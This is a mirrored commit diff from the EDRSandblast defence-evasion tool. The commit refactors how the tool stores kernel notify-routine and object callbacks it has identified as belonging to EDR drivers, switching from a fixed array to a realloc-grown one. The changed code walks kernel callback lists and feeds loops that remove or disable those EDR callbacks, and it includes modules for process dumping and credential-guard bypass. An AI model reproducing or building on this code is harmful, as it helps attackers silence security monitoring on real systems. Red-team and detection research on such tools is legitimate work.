mirror of
https://github.com/wavestone-cdt/EDRSandblast.git
synced 2026-06-08 16:37:12 +00:00
Changed the way found callbacks are stored (removed the size limit)
This commit is contained in:
@@ -20,7 +20,7 @@
|
||||
//TODO : split notify routines & object callbacks in different files, but keep this base to implement more kernel callbacks types (CMRegisterCallbacks, etc)
|
||||
enum kernel_callback_type_e {
|
||||
NOTIFY_ROUTINE_CB,
|
||||
OBJECT_CALLBACK
|
||||
OBJECT_CALLBACK,
|
||||
};
|
||||
struct KRNL_CALLBACK {
|
||||
enum kernel_callback_type_e type;
|
||||
@@ -40,11 +40,12 @@ struct KRNL_CALLBACK {
|
||||
};
|
||||
|
||||
struct FOUND_EDR_CALLBACKS {
|
||||
DWORD64 index;
|
||||
struct KRNL_CALLBACK EDR_CALLBACKS[256];
|
||||
SIZE_T size;
|
||||
SIZE_T max_size;
|
||||
struct KRNL_CALLBACK* EDR_CALLBACKS;
|
||||
};
|
||||
|
||||
|
||||
VOID AddFoundKernelCallback(struct FOUND_EDR_CALLBACKS* foundCallbacks, struct KRNL_CALLBACK* newCallback);
|
||||
|
||||
BOOL isDriverEDR(TCHAR* driver);
|
||||
void RestoreEDRNotifyRoutineCallbacks(struct FOUND_EDR_CALLBACKS* edrDrivers);
|
||||
|
||||
@@ -58,8 +58,7 @@ BOOL EnumEDRSpecificNotifyRoutineCallbacks(enum NtoskrnlOffsetType notifyRoutine
|
||||
}
|
||||
newFoundDriver.removed = FALSE;
|
||||
|
||||
edrCallbacks->EDR_CALLBACKS[edrCallbacks->index] = newFoundDriver;
|
||||
edrCallbacks->index++;
|
||||
AddFoundKernelCallback(edrCallbacks, &newFoundDriver);
|
||||
CurrentEDRCallbacksCount++;
|
||||
}
|
||||
}
|
||||
@@ -78,7 +77,7 @@ void RemoveOrRestoreSpecificEDRNotifyRoutineCallbacks(enum NtoskrnlOffsetType no
|
||||
TCHAR* action = remove ? TEXT("Removing") : TEXT("Restoring");
|
||||
_tprintf_or_not(TEXT("[+] [NotifyRoutines]\t%s %s callbacks\n"), action, notifyRoutineTypeStrs[notifyRoutineType]);
|
||||
|
||||
for (DWORD i = 0; i < edrCallbacks->index; ++i) {
|
||||
for (DWORD i = 0; i < edrCallbacks->size; ++i) {
|
||||
struct KRNL_CALLBACK* cb = &edrCallbacks->EDR_CALLBACKS[i];
|
||||
if (cb->type == NOTIFY_ROUTINE_CB &&
|
||||
cb->addresses.notify_routine.type == notifyRoutineType &&
|
||||
@@ -138,3 +137,18 @@ void RemoveEDRNotifyRoutineCallbacks(struct FOUND_EDR_CALLBACKS* edrCallbacks) {
|
||||
void RestoreEDRNotifyRoutineCallbacks(struct FOUND_EDR_CALLBACKS* edrCallbacks) {
|
||||
RemoveOrRestoreEDRNotifyRoutineCallbacks(edrCallbacks, FALSE);
|
||||
}
|
||||
|
||||
//TODO : put "kernel notify routines"-related functions in a KernelNotifyRoutines.c, and only left common "kernel callbacks"-related functions in KernelCallbacks.c
|
||||
VOID AddFoundKernelCallback(struct FOUND_EDR_CALLBACKS* foundCallbacks, struct KRNL_CALLBACK* newCallback) {
|
||||
if (foundCallbacks->size == foundCallbacks->max_size) {
|
||||
foundCallbacks->max_size = foundCallbacks->max_size * 2 + 1;
|
||||
PVOID tmp = realloc(foundCallbacks->EDR_CALLBACKS, foundCallbacks->max_size * sizeof(struct KRNL_CALLBACK));
|
||||
if (tmp == NULL) {
|
||||
exit(1);
|
||||
}
|
||||
foundCallbacks->EDR_CALLBACKS = tmp;
|
||||
}
|
||||
foundCallbacks->EDR_CALLBACKS[foundCallbacks->size] = *newCallback;
|
||||
foundCallbacks->size++;
|
||||
|
||||
}
|
||||
|
||||
@@ -192,10 +192,7 @@ BOOL EnumEDRProcessAndThreadObjectsCallbacks(struct FOUND_EDR_CALLBACKS* FoundOb
|
||||
for (DWORD64 cbEntry = ReadMemoryDWORD64(ObjectType_Callbacks_List);
|
||||
cbEntry != ObjectType_Callbacks_List;
|
||||
cbEntry = ReadMemoryDWORD64(cbEntry)) {
|
||||
if (FoundObjectCallbacks->index >= 256) {
|
||||
_putts_or_not(TEXT("[!] No more space to store object callbacks !!! This should not happen. Exiting..."));
|
||||
exit(1);
|
||||
}
|
||||
|
||||
DWORD64 ObjectTypeField = ReadMemoryDWORD64(cbEntry + Offset_CALLBACK_ENTRY_ITEM_ObjectType);
|
||||
if (ObjectTypeField != ObjectType) {
|
||||
_putts_or_not(TEXT("Unexpected value in callback entry (ObjectTypeField), exiting..."));
|
||||
@@ -233,13 +230,13 @@ BOOL EnumEDRProcessAndThreadObjectsCallbacks(struct FOUND_EDR_CALLBACKS* FoundOb
|
||||
_tprintf_or_not(TEXT("[+] [ObjectCallblacks]\t\t\tCallback belongs to an EDR "));
|
||||
if (Enabled) {
|
||||
_putts_or_not(TEXT("and is enabled!"));
|
||||
struct KRNL_CALLBACK* cb = &FoundObjectCallbacks->EDR_CALLBACKS[FoundObjectCallbacks->index];
|
||||
cb->type = OBJECT_CALLBACK;
|
||||
cb->driver_name = driverNamePreOperation;
|
||||
cb->removed = FALSE;
|
||||
cb->callback_func = PreOperation;
|
||||
cb->addresses.object_callback.enable_addr = cbEntry + Offset_CALLBACK_ENTRY_ITEM_Enabled;
|
||||
FoundObjectCallbacks->index++;
|
||||
struct KRNL_CALLBACK cb;
|
||||
cb.type = OBJECT_CALLBACK;
|
||||
cb.driver_name = driverNamePreOperation;
|
||||
cb.removed = FALSE;
|
||||
cb.callback_func = PreOperation;
|
||||
cb.addresses.object_callback.enable_addr = cbEntry + Offset_CALLBACK_ENTRY_ITEM_Enabled;
|
||||
AddFoundKernelCallback(FoundObjectCallbacks, &cb);
|
||||
found |= TRUE;
|
||||
}
|
||||
else {
|
||||
@@ -257,18 +254,19 @@ BOOL EnumEDRProcessAndThreadObjectsCallbacks(struct FOUND_EDR_CALLBACKS* FoundOb
|
||||
_tprintf_or_not(TEXT("[+] [ObjectCallblacks]\t\t\tCallback belongs to an EDR "));
|
||||
if (Enabled) {
|
||||
_putts_or_not(TEXT("and is enabled!"));
|
||||
if (FoundObjectCallbacks->index != 0 &&
|
||||
FoundObjectCallbacks->EDR_CALLBACKS[FoundObjectCallbacks->index - 1].addresses.object_callback.enable_addr == cbEntry + Offset_CALLBACK_ENTRY_ITEM_Enabled) {
|
||||
if (FoundObjectCallbacks->size != 0 &&
|
||||
FoundObjectCallbacks->EDR_CALLBACKS[FoundObjectCallbacks->size - 1].type == OBJECT_CALLBACK &&
|
||||
FoundObjectCallbacks->EDR_CALLBACKS[FoundObjectCallbacks->size - 1].addresses.object_callback.enable_addr == cbEntry + Offset_CALLBACK_ENTRY_ITEM_Enabled) {
|
||||
//skip if last callback function belong to the same callback entry (preoperation)
|
||||
continue;
|
||||
}
|
||||
struct KRNL_CALLBACK* cb = &FoundObjectCallbacks->EDR_CALLBACKS[FoundObjectCallbacks->index];
|
||||
cb->type = OBJECT_CALLBACK;
|
||||
cb->driver_name = driverNamePostOperation;
|
||||
cb->removed = FALSE;
|
||||
cb->callback_func = PostOperation;
|
||||
cb->addresses.object_callback.enable_addr = cbEntry + Offset_CALLBACK_ENTRY_ITEM_Enabled;
|
||||
FoundObjectCallbacks->index++;
|
||||
struct KRNL_CALLBACK cb;
|
||||
cb.type = OBJECT_CALLBACK;
|
||||
cb.driver_name = driverNamePostOperation;
|
||||
cb.removed = FALSE;
|
||||
cb.callback_func = PostOperation;
|
||||
cb.addresses.object_callback.enable_addr = cbEntry + Offset_CALLBACK_ENTRY_ITEM_Enabled;
|
||||
AddFoundKernelCallback(FoundObjectCallbacks, &cb);
|
||||
found |= TRUE;
|
||||
}
|
||||
else {
|
||||
@@ -287,7 +285,7 @@ void EnableDisableEDRProcessAndThreadObjectsCallbacks(struct FOUND_EDR_CALLBACKS
|
||||
_putts_or_not(TEXT("Object callback offsets not loaded ! Aborting..."));
|
||||
return;
|
||||
}
|
||||
for (DWORD64 i = 0; i < FoundObjectCallbacks->index; i++) {
|
||||
for (DWORD64 i = 0; i < FoundObjectCallbacks->size; i++) {
|
||||
struct KRNL_CALLBACK* cb = &FoundObjectCallbacks->EDR_CALLBACKS[i];
|
||||
if (cb->type == OBJECT_CALLBACK && cb->removed == enable) {
|
||||
_tprintf_or_not(TEXT("[+] [ObjectCallblacks]\t%s %s callback...\n"), enable ? TEXT("Enabling") : TEXT("Disabling"), cb->driver_name);
|
||||
|
||||
@@ -10,17 +10,19 @@
|
||||
#include <assert.h>
|
||||
#endif
|
||||
|
||||
#include "CiOffsets.h"
|
||||
#include "CredGuard.h"
|
||||
#include "DriverOps.h"
|
||||
#include "FileUtils.h"
|
||||
#include "Firewalling.h"
|
||||
#include "ETWThreatIntel.h"
|
||||
#include "KernelCallbacks.h"
|
||||
#include "KernelDSE.h"
|
||||
#include "KernelMemoryPrimitives.h"
|
||||
#include "ProcessDump.h"
|
||||
#include "ProcessDumpDirectSyscalls.h"
|
||||
#include "NtoskrnlOffsets.h"
|
||||
#include "ObjectCallbacks.h"
|
||||
#include "ProcessDump.h"
|
||||
#include "ProcessDumpDirectSyscalls.h"
|
||||
#include "PEBBrowse.h"
|
||||
#include "PrintFunctions.h"
|
||||
#include "RunAsPPL.h"
|
||||
@@ -28,8 +30,6 @@
|
||||
#include "Undoc.h"
|
||||
#include "UserlandHooks.h"
|
||||
#include "WdigestOffsets.h"
|
||||
#include "CiOffsets.h"
|
||||
#include "KernelDSE.h"
|
||||
|
||||
//TODO P1 : implement a "clean" mode that only removes the driver if installed
|
||||
//TODO P2 : replace all instances of exit(1) by a clean_exit() function that uninstalls the driver before exiting
|
||||
|
||||
Reference in New Issue
Block a user